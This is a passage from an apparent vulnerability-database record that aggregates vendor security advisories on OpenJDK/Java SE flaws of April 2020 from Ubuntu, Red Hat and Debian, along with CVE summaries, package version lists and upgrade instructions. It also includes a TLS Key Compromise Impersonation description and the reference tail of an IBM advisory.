References\n\nhttps://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html\n\nhttps://pierrekim.github.io/advisories/2024-ibm-security-verify-access.txt\n\nhttps://pierrekim.github.io/blog/2024-11-01-ibmsecurity-4-vulnerabilities.html\n\nhttps://pierrekim.github.io/advisories/2024-ibmsecurity.txt\n\nhttps://www.ibm.com/support/pages/node/7106586\n\nhttps://www.ibm.com/support/pages/node/7145400\n\nhttps://www.ibm.com/support/pages/node/7155356\n\nhttps://www.ibm.com/support/pages/node/7158790\n\n\n\n## Disclaimer\n\nThis advisory is licensed under a Creative Commons Attribution Non-Commercial\nShare-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/\n\n-----BEGIN PGP SIGNATURE-----\n\niQIzBAEBCgAdFiEEoSgI9MSrzxDXWrmCxD4O2n2TLbwFAmckrf4ACgkQxD4O2n2T\nLbzphQ//dkcrCH8Q+yNrjdYoxvY/wXwc1JfgXxmLK7Ns3N5qFJVT70Uea6HjIoHz\neJQurricioTP8jG48J2uzIt7l4G4Kgv0zP+aPN/KXjfYghu46N4G29458OgXTHVe\necOmouy/za1DG6qtST+sbicDhX5oku4VtdQ+NtDXaoLUAkADp/wJ3rLv5Fdw7gxQ\nVR0OMUTsy50Vv1bRN2R77ZAs/odAY67pQfTw8QpKLDDLBZveeAwBLgc66rQ+KZjq\nmPbLUULFlZp3+EYnR+XyZXu2nNGZDhTVMKAYCGzuqr3/boIz1BF7rifK07tL8+EE\n+NQQK3kzauWuQ/Sl5X20kfvdC91g7d/G93Me+Uz9iSfB9cyDfAdCLNf6fyYi/xjE\nqz6HNe2capSG7GBeCK6Q8ffb95kojjKrmyL2eKj2Yz5ZCWuDXa0L6pLwHZ9KSyjj\n24kykmiHI4bCKBCXazBVYcdguk+6PCcenAGxLIpKdmTcMvaUUbN/c2jUenjV8/As\n+akcA48mNjuITE+Qei9kn7R5huTSCZffws9j4r0P86dst0ZkYfNSWgThatk2NRwC\nV8D2DOXdxpXThuOAMfN4b9ViLYTeHm2/JGvl0RLQNyNSv2rWeeEch6Z69NsS/Fq7\nY7L55juYeCFtkTrdYA+tkaUHlvX8uQC9GoKkcUOfYV6utGQ4fnU=\n=3Ax6\n-----END PGP SIGNATURE-----\n",
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Vulnerability from variot - Updated: 2025-04-13 23:32The TLS protocol 1.2 and earlier supports the rsa_fixed_dh, dss_fixed_dh, rsa_fixed_ecdh, and ecdsa_fixed_ecdh values for ClientCertificateType but does not directly document the ability to compute the master secret in certain situations with a client secret key and server public key but not a server secret key, which makes it easier for man-in-the-middle attackers to spoof TLS servers by leveraging knowledge of the secret key for an arbitrary installed client X.509 certificate, aka the "Key Compromise Impersonation (KCI)" issue. TLS is prone to security-bypass vulnerability. Successfully exploiting this issue may allow attackers to perform unauthorized actions by conducting a man-in-the-middle attack. This may lead to other attacks. TLS (full name Transport Layer Security) protocol is a set of protocols used to provide confidentiality and data integrity between two communication applications. There are security holes in TLS protocol 1.2 and earlier versions
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VAR-202004-1137
Vulnerability from variot - Updated: 2023-11-07 21:49Vulnerability in the Java SE, Java SE Embedded product of Oracle Java SE (component: Concurrency). Supported versions that are affected are Java SE: 7u251, 8u241, 11.0.6 and 14; Java SE Embedded: 8u241. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Java SE Embedded. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Java SE, Java SE Embedded. Note: Applies to client and server deployment of Java. This vulnerability can be exploited through sandboxed Java Web Start applications and sandboxed Java applets. It can also be exploited by supplying data to APIs in the specified Component without using sandboxed Java Web Start applications or sandboxed Java applets, such as through a web service. CVSS 3.0 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L). (CVE-2020-2754, CVE-2020-2755). ========================================================================== Ubuntu Security Notice USN-4337-1 April 22, 2020
openjdk-8, openjdk-lts vulnerabilities
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 19.10
- Ubuntu 18.04 LTS
- Ubuntu 16.04 LTS
Summary:
Several security issues were fixed in OpenJDK.
Software Description: - openjdk-8: Open Source Java implementation - openjdk-lts: Open Source Java implementation
Details:
It was discovered that OpenJDK incorrectly handled certain regular expressions. An attacker could possibly use this issue to cause a denial of service while processing a specially crafted regular expression. (CVE-2020-2754, CVE-2020-2755)
It was discovered that OpenJDK incorrectly handled class descriptors and catching exceptions during object stream deserialization. An attacker could possibly use this issue to cause a denial of service while processing a specially crafted serialized input. (CVE-2020-2756, CVE-2020-2757)
Bengt Jonsson, Juraj Somorovsky, Kostis Sagonas, Paul Fiterau Brostean and Robert Merget discovered that OpenJDK incorrectly handled certificate messages during TLS handshake. An attacker could possibly use this issue to bypass certificate verification and insert, edit or obtain sensitive information. This issue only affected OpenJDK 11. (CVE-2020-2767)
It was discovered that OpenJDK incorrectly handled exceptions thrown by unmarshalKeyInfo() and unmarshalXMLSignature(). An attacker could possibly use this issue to cause a denial of service while reading key info or XML signature data from XML input. (CVE-2020-2773)
Peter Dettman discovered that OpenJDK incorrectly handled SSLParameters in setAlgorithmConstraints(). An attacker could possibly use this issue to override the defined systems security policy and lead to the use of weak crypto algorithms that should be disabled. This issue only affected OpenJDK 11. (CVE-2020-2778)
Simone Bordet discovered that OpenJDK incorrectly re-used single null TLS sessions for new TLS connections. A remote attacker could possibly use this issue to cause a denial of service. (CVE-2020-2781)
Dan Amodio discovered that OpenJDK did not restrict the use of CR and LF characters in values for HTTP headers. An attacker could possibly use this issue to insert, edit or obtain sensitive information. (CVE-2020-2800)
Nils Emmerich discovered that OpenJDK incorrectly checked boundaries or argument types. An attacker could possibly use this issue to bypass sandbox restrictions causing unspecified impact. (CVE-2020-2803, CVE-2020-2805)
It was discovered that OpenJDK incorrectly handled application data packets during TLS handshake. An attacker could possibly use this issue to insert, edit or obtain sensitive information. This issue only affected OpenJDK 11. (CVE-2020-2816)
It was discovered that OpenJDK incorrectly handled certain regular expressions. An attacker could possibly use this issue to cause a denial of service. (CVE-2020-2830)
Update instructions:
The problem can be corrected by updating your system to the following package versions:
Ubuntu 19.10: openjdk-11-jdk 11.0.7+10-2ubuntu2~19.10 openjdk-11-jre 11.0.7+10-2ubuntu2~19.10 openjdk-11-jre-headless 11.0.7+10-2ubuntu2~19.10 openjdk-11-jre-zero 11.0.7+10-2ubuntu2~19.10 openjdk-8-jdk 8u252-b09-1~19.10 openjdk-8-jre 8u252-b09-1~19.10 openjdk-8-jre-headless 8u252-b09-1~19.10 openjdk-8-jre-zero 8u252-b09-1~19.10
Ubuntu 18.04 LTS: openjdk-11-jdk 11.0.7+10-2ubuntu2~18.04 openjdk-11-jre 11.0.7+10-2ubuntu2~18.04 openjdk-11-jre-headless 11.0.7+10-2ubuntu2~18.04 openjdk-11-jre-zero 11.0.7+10-2ubuntu2~18.04 openjdk-8-jdk 8u252-b09-1~18.04 openjdk-8-jre 8u252-b09-1~18.04 openjdk-8-jre-headless 8u252-b09-1~18.04 openjdk-8-jre-zero 8u252-b09-1~18.04
Ubuntu 16.04 LTS: openjdk-8-jdk 8u252-b09-1~16.04 openjdk-8-jre 8u252-b09-1~16.04 openjdk-8-jre-headless 8u252-b09-1~16.04 openjdk-8-jre-jamvm 8u252-b09-1~16.04 openjdk-8-jre-zero 8u252-b09-1~16.04
This update uses a new upstream release, which includes additional bug fixes. 8.0) - aarch64, noarch, ppc64le, s390x, x86_64
-
8.0) - aarch64, ppc64le, s390x, x86_64
-
Description:
Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments.
Security Fix(es):
- operator-framework/presto: /etc/passwd was given incorrect privileges (CVE-2019-19352)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. Solution:
For OpenShift Container Platform 4.4 see the following documentation, which will be updated shortly for release 4.4.3, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:
https://docs.openshift.com/container-platform/4.4/release_notes/ocp-4-4-rel ease-notes.html
Details on how to access this content are available at https://docs.openshift.com/container-platform/4.4/updating/updating-cluster - -cli.html. Bugs fixed (https://bugzilla.redhat.com/):
1793281 - CVE-2019-19352 operator-framework/presto: /etc/passwd is given incorrect privileges
-
7) - x86_64
-
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256
===================================================================== Red Hat Security Advisory
Synopsis: Important: java-1.8.0-openjdk security update Advisory ID: RHSA-2020:1512-01 Product: Red Hat Enterprise Linux Advisory URL: https://access.redhat.com/errata/RHSA-2020:1512 Issue date: 2020-04-21 CVE Names: CVE-2020-2754 CVE-2020-2755 CVE-2020-2756 CVE-2020-2757 CVE-2020-2773 CVE-2020-2781 CVE-2020-2800 CVE-2020-2803 CVE-2020-2805 CVE-2020-2830 =====================================================================
- Summary:
An update for java-1.8.0-openjdk is now available for Red Hat Enterprise Linux 7.
Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
- Relevant releases/architectures:
Red Hat Enterprise Linux Client (v. 7) - x86_64 Red Hat Enterprise Linux Client Optional (v. 7) - noarch, x86_64 Red Hat Enterprise Linux ComputeNode (v. 7) - x86_64 Red Hat Enterprise Linux ComputeNode Optional (v. 7) - noarch, x86_64 Red Hat Enterprise Linux Server (v. 7) - ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Server Optional (v. 7) - noarch, ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Workstation (v. 7) - x86_64 Red Hat Enterprise Linux Workstation Optional (v. 7) - noarch, x86_64
- Description:
The java-1.8.0-openjdk packages provide the OpenJDK 8 Java Runtime Environment and the OpenJDK 8 Java Software Development Kit.
Security Fix(es):
-
OpenJDK: Incorrect bounds checks in NIO Buffers (Libraries, 8234841) (CVE-2020-2803)
-
OpenJDK: Incorrect type checks in MethodType.readObject() (Libraries, 8235274) (CVE-2020-2805)
-
OpenJDK: Unexpected exceptions raised by DOMKeyInfoFactory and DOMXMLSignatureFactory (Security, 8231415) (CVE-2020-2773)
-
OpenJDK: Re-use of single TLS session for new connections (JSSE, 8234408) (CVE-2020-2781)
-
OpenJDK: CRLF injection into HTTP headers in HttpServer (Lightweight HTTP Server, 8234825) (CVE-2020-2800)
-
OpenJDK: Regular expression DoS in Scanner (Concurrency, 8236201) (CVE-2020-2830)
-
OpenJDK: Misplaced regular expression syntax error check in RegExpScanner (Scripting, 8223898) (CVE-2020-2754)
-
OpenJDK: Incorrect handling of empty string nodes in regular expression Parser (Scripting, 8223904) (CVE-2020-2755)
-
OpenJDK: Incorrect handling of references to uninitialized class descriptors during deserialization (Serialization, 8224541) (CVE-2020-2756)
-
OpenJDK: Uncaught InstantiationError exception in ObjectStreamClass (Serialization, 8224549) (CVE-2020-2757)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Solution:
For details on how to apply this update, which includes the changes described in this advisory, refer to:
https://access.redhat.com/articles/11258
All running instances of OpenJDK Java must be restarted for this update to take effect.
- Bugs fixed (https://bugzilla.redhat.com/):
1823199 - CVE-2020-2754 OpenJDK: Misplaced regular expression syntax error check in RegExpScanner (Scripting, 8223898) 1823200 - CVE-2020-2755 OpenJDK: Incorrect handling of empty string nodes in regular expression Parser (Scripting, 8223904) 1823215 - CVE-2020-2756 OpenJDK: Incorrect handling of references to uninitialized class descriptors during deserialization (Serialization, 8224541) 1823216 - CVE-2020-2757 OpenJDK: Uncaught InstantiationError exception in ObjectStreamClass (Serialization, 8224549) 1823224 - CVE-2020-2773 OpenJDK: Unexpected exceptions raised by DOMKeyInfoFactory and DOMXMLSignatureFactory (Security, 8231415) 1823527 - CVE-2020-2800 OpenJDK: CRLF injection into HTTP headers in HttpServer (Lightweight HTTP Server, 8234825) 1823542 - CVE-2020-2830 OpenJDK: Regular expression DoS in Scanner (Concurrency, 8236201) 1823694 - CVE-2020-2803 OpenJDK: Incorrect bounds checks in NIO Buffers (Libraries, 8234841) 1823844 - CVE-2020-2805 OpenJDK: Incorrect type checks in MethodType.readObject() (Libraries, 8235274) 1823960 - CVE-2020-2781 OpenJDK: Re-use of single TLS session for new connections (JSSE, 8234408)
- Package List:
Red Hat Enterprise Linux Client (v. 7):
Source: java-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.src.rpm
x86_64: java-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-headless-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-headless-1.8.0.252.b09-2.el7_8.x86_64.rpm
Red Hat Enterprise Linux Client Optional (v. 7):
noarch: java-1.8.0-openjdk-javadoc-1.8.0.252.b09-2.el7_8.noarch.rpm java-1.8.0-openjdk-javadoc-zip-1.8.0.252.b09-2.el7_8.noarch.rpm
x86_64: java-1.8.0-openjdk-accessibility-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-accessibility-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-demo-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-demo-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-devel-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-devel-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-src-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-src-1.8.0.252.b09-2.el7_8.x86_64.rpm
Red Hat Enterprise Linux ComputeNode (v. 7):
Source: java-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.src.rpm
x86_64: java-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-headless-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-headless-1.8.0.252.b09-2.el7_8.x86_64.rpm
Red Hat Enterprise Linux ComputeNode Optional (v. 7):
noarch: java-1.8.0-openjdk-javadoc-1.8.0.252.b09-2.el7_8.noarch.rpm java-1.8.0-openjdk-javadoc-zip-1.8.0.252.b09-2.el7_8.noarch.rpm
x86_64: java-1.8.0-openjdk-accessibility-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-accessibility-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-demo-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-demo-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-devel-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-devel-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-src-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-src-1.8.0.252.b09-2.el7_8.x86_64.rpm
Red Hat Enterprise Linux Server (v. 7):
Source: java-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.src.rpm
ppc64: java-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.ppc64.rpm java-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.ppc64.rpm java-1.8.0-openjdk-devel-1.8.0.252.b09-2.el7_8.ppc64.rpm java-1.8.0-openjdk-headless-1.8.0.252.b09-2.el7_8.ppc64.rpm
ppc64le: java-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.ppc64le.rpm java-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.ppc64le.rpm java-1.8.0-openjdk-devel-1.8.0.252.b09-2.el7_8.ppc64le.rpm java-1.8.0-openjdk-headless-1.8.0.252.b09-2.el7_8.ppc64le.rpm
s390x: java-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.s390x.rpm java-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.s390x.rpm java-1.8.0-openjdk-devel-1.8.0.252.b09-2.el7_8.s390x.rpm java-1.8.0-openjdk-headless-1.8.0.252.b09-2.el7_8.s390x.rpm
x86_64: java-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-devel-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-devel-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-headless-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-headless-1.8.0.252.b09-2.el7_8.x86_64.rpm
Red Hat Enterprise Linux Server Optional (v. 7):
noarch: java-1.8.0-openjdk-javadoc-1.8.0.252.b09-2.el7_8.noarch.rpm java-1.8.0-openjdk-javadoc-zip-1.8.0.252.b09-2.el7_8.noarch.rpm
ppc64: java-1.8.0-openjdk-accessibility-1.8.0.252.b09-2.el7_8.ppc64.rpm java-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.ppc64.rpm java-1.8.0-openjdk-demo-1.8.0.252.b09-2.el7_8.ppc64.rpm java-1.8.0-openjdk-src-1.8.0.252.b09-2.el7_8.ppc64.rpm
ppc64le: java-1.8.0-openjdk-accessibility-1.8.0.252.b09-2.el7_8.ppc64le.rpm java-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.ppc64le.rpm java-1.8.0-openjdk-demo-1.8.0.252.b09-2.el7_8.ppc64le.rpm java-1.8.0-openjdk-src-1.8.0.252.b09-2.el7_8.ppc64le.rpm
s390x: java-1.8.0-openjdk-accessibility-1.8.0.252.b09-2.el7_8.s390x.rpm java-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.s390x.rpm java-1.8.0-openjdk-demo-1.8.0.252.b09-2.el7_8.s390x.rpm java-1.8.0-openjdk-src-1.8.0.252.b09-2.el7_8.s390x.rpm
x86_64: java-1.8.0-openjdk-accessibility-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-accessibility-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-demo-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-demo-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-src-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-src-1.8.0.252.b09-2.el7_8.x86_64.rpm
Red Hat Enterprise Linux Workstation (v. 7):
Source: java-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.src.rpm
x86_64: java-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-devel-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-devel-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-headless-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-headless-1.8.0.252.b09-2.el7_8.x86_64.rpm
Red Hat Enterprise Linux Workstation Optional (v. 7):
noarch: java-1.8.0-openjdk-javadoc-1.8.0.252.b09-2.el7_8.noarch.rpm java-1.8.0-openjdk-javadoc-zip-1.8.0.252.b09-2.el7_8.noarch.rpm
x86_64: java-1.8.0-openjdk-accessibility-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-accessibility-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-debuginfo-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-demo-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-demo-1.8.0.252.b09-2.el7_8.x86_64.rpm java-1.8.0-openjdk-src-1.8.0.252.b09-2.el7_8.i686.rpm java-1.8.0-openjdk-src-1.8.0.252.b09-2.el7_8.x86_64.rpm
These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/
- References:
https://access.redhat.com/security/cve/CVE-2020-2754 https://access.redhat.com/security/cve/CVE-2020-2755 https://access.redhat.com/security/cve/CVE-2020-2756 https://access.redhat.com/security/cve/CVE-2020-2757 https://access.redhat.com/security/cve/CVE-2020-2773 https://access.redhat.com/security/cve/CVE-2020-2781 https://access.redhat.com/security/cve/CVE-2020-2800 https://access.redhat.com/security/cve/CVE-2020-2803 https://access.redhat.com/security/cve/CVE-2020-2805 https://access.redhat.com/security/cve/CVE-2020-2830 https://access.redhat.com/security/updates/classification/#important
- Contact:
The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/
Copyright 2020 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1
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-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512
Debian Security Advisory DSA-4662-1 security@debian.org https://www.debian.org/security/ Moritz Muehlenhoff April 24, 2020 https://www.debian.org/security/faq
Package : openjdk-11 CVE ID : CVE-2020-2754 CVE-2020-2755 CVE-2020-2756 CVE-2020-2757 CVE-2020-2767 CVE-2020-2773 CVE-2020-2778 CVE-2020-2781 CVE-2020-2800 CVE-2020-2803 CVE-2020-2805 CVE-2020-2816 CVE-2020-2830
Several vulnerabilities have been discovered in the OpenJDK Java runtime, resulting in denial of service, insecure TLS handshakes, bypass of sandbox restrictions or HTTP response splitting attacks.
For the stable distribution (buster), these problems have been fixed in version 11.0.7+10-3~deb10u1.
We recommend that you upgrade your openjdk-11 packages.
For the detailed security status of openjdk-11 please refer to its security tracker page at: https://security-tracker.debian.org/tracker/openjdk-11
Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/
Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE-----
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"data": "Vulnerability in the Java SE, Java SE Embedded product of Oracle Java SE (component: Concurrency). Supported versions that are affected are Java SE: 7u251, 8u241, 11.0.6 and 14; Java SE Embedded: 8u241. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Java SE Embedded. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Java SE, Java SE Embedded. Note: Applies to client and server deployment of Java. This vulnerability can be exploited through sandboxed Java Web Start applications and sandboxed Java applets. It can also be exploited by supplying data to APIs in the specified Component without using sandboxed Java Web Start applications or sandboxed Java applets, such as through a web service. CVSS 3.0 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L). \n(CVE-2020-2754, CVE-2020-2755). ==========================================================================\nUbuntu Security Notice USN-4337-1\nApril 22, 2020\n\nopenjdk-8, openjdk-lts vulnerabilities\n==========================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 19.10\n- Ubuntu 18.04 LTS\n- Ubuntu 16.04 LTS\n\nSummary:\n\nSeveral security issues were fixed in OpenJDK. \n\nSoftware Description:\n- openjdk-8: Open Source Java implementation\n- openjdk-lts: Open Source Java implementation\n\nDetails:\n\nIt was discovered that OpenJDK incorrectly handled certain regular\nexpressions. An attacker could possibly use this issue to cause a denial of\nservice while processing a specially crafted regular expression. \n(CVE-2020-2754, CVE-2020-2755)\n\nIt was discovered that OpenJDK incorrectly handled class descriptors and\ncatching exceptions during object stream deserialization. An attacker could\npossibly use this issue to cause a denial of service while processing a\nspecially crafted serialized input. (CVE-2020-2756, CVE-2020-2757)\n\nBengt Jonsson, Juraj Somorovsky, Kostis Sagonas, Paul Fiterau Brostean and\nRobert Merget discovered that OpenJDK incorrectly handled certificate messages\nduring TLS handshake. An attacker could possibly use this issue to bypass\ncertificate verification and insert, edit or obtain sensitive information. This\nissue only affected OpenJDK 11. (CVE-2020-2767)\n\nIt was discovered that OpenJDK incorrectly handled exceptions thrown by\nunmarshalKeyInfo() and unmarshalXMLSignature(). An attacker could possibly use\nthis issue to cause a denial of service while reading key info or XML signature\ndata from XML input. (CVE-2020-2773)\n\nPeter Dettman discovered that OpenJDK incorrectly handled SSLParameters in\nsetAlgorithmConstraints(). An attacker could possibly use this issue to\noverride the defined systems security policy and lead to the use of weak\ncrypto algorithms that should be disabled. This issue only affected\nOpenJDK 11. (CVE-2020-2778)\n\nSimone Bordet discovered that OpenJDK incorrectly re-used single null TLS\nsessions for new TLS connections. A remote attacker could possibly use this\nissue to cause a denial of service. (CVE-2020-2781)\n\nDan Amodio discovered that OpenJDK did not restrict the use of CR and LF\ncharacters in values for HTTP headers. An attacker could possibly use this\nissue to insert, edit or obtain sensitive information. (CVE-2020-2800)\n\nNils Emmerich discovered that OpenJDK incorrectly checked boundaries or\nargument types. An attacker could possibly use this issue to bypass sandbox\nrestrictions causing unspecified impact. (CVE-2020-2803, CVE-2020-2805)\n\nIt was discovered that OpenJDK incorrectly handled application data packets\nduring TLS handshake. An attacker could possibly use this issue to insert,\nedit or obtain sensitive information. This issue only affected OpenJDK 11. \n(CVE-2020-2816)\n\nIt was discovered that OpenJDK incorrectly handled certain regular\nexpressions. An attacker could possibly use this issue to cause a denial of\nservice. (CVE-2020-2830)\n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 19.10:\n openjdk-11-jdk 11.0.7+10-2ubuntu2~19.10\n openjdk-11-jre 11.0.7+10-2ubuntu2~19.10\n openjdk-11-jre-headless 11.0.7+10-2ubuntu2~19.10\n openjdk-11-jre-zero 11.0.7+10-2ubuntu2~19.10\n openjdk-8-jdk 8u252-b09-1~19.10\n openjdk-8-jre 8u252-b09-1~19.10\n openjdk-8-jre-headless 8u252-b09-1~19.10\n openjdk-8-jre-zero 8u252-b09-1~19.10\n\nUbuntu 18.04 LTS:\n openjdk-11-jdk 11.0.7+10-2ubuntu2~18.04\n openjdk-11-jre 11.0.7+10-2ubuntu2~18.04\n openjdk-11-jre-headless 11.0.7+10-2ubuntu2~18.04\n openjdk-11-jre-zero 11.0.7+10-2ubuntu2~18.04\n openjdk-8-jdk 8u252-b09-1~18.04\n openjdk-8-jre 8u252-b09-1~18.04\n openjdk-8-jre-headless 8u252-b09-1~18.04\n openjdk-8-jre-zero 8u252-b09-1~18.04\n\nUbuntu 16.04 LTS:\n openjdk-8-jdk 8u252-b09-1~16.04\n openjdk-8-jre 8u252-b09-1~16.04\n openjdk-8-jre-headless 8u252-b09-1~16.04\n openjdk-8-jre-jamvm 8u252-b09-1~16.04\n openjdk-8-jre-zero 8u252-b09-1~16.04\n\nThis update uses a new upstream release, which includes additional bug\nfixes. 8.0) - aarch64, noarch, ppc64le, s390x, x86_64\n\n3. 8.0) - aarch64, ppc64le, s390x, x86_64\n\n3. Description:\n\nRed Hat OpenShift Container Platform is Red Hat\u0027s cloud computing\nKubernetes application platform solution designed for on-premise or private\ncloud deployments. \n\nSecurity Fix(es):\n\n* operator-framework/presto: /etc/passwd was given incorrect privileges\n(CVE-2019-19352)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. Solution:\n\nFor OpenShift Container Platform 4.4 see the following documentation, which\nwill be updated shortly for release 4.4.3, for important instructions on\nhow to upgrade your cluster and fully apply this asynchronous errata\nupdate:\n\nhttps://docs.openshift.com/container-platform/4.4/release_notes/ocp-4-4-rel\nease-notes.html\n\nDetails on how to access this content are available at\nhttps://docs.openshift.com/container-platform/4.4/updating/updating-cluster\n- -cli.html. Bugs fixed (https://bugzilla.redhat.com/):\n\n1793281 - CVE-2019-19352 operator-framework/presto: /etc/passwd is given incorrect privileges\n\n5. 7) - x86_64\n\n3. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\n=====================================================================\n Red Hat Security Advisory\n\nSynopsis: Important: java-1.8.0-openjdk security update\nAdvisory ID: RHSA-2020:1512-01\nProduct: Red Hat Enterprise Linux\nAdvisory URL: https://access.redhat.com/errata/RHSA-2020:1512\nIssue date: 2020-04-21\nCVE Names: CVE-2020-2754 CVE-2020-2755 CVE-2020-2756 \n CVE-2020-2757 CVE-2020-2773 CVE-2020-2781 \n CVE-2020-2800 CVE-2020-2803 CVE-2020-2805 \n CVE-2020-2830 \n=====================================================================\n\n1. Summary:\n\nAn update for 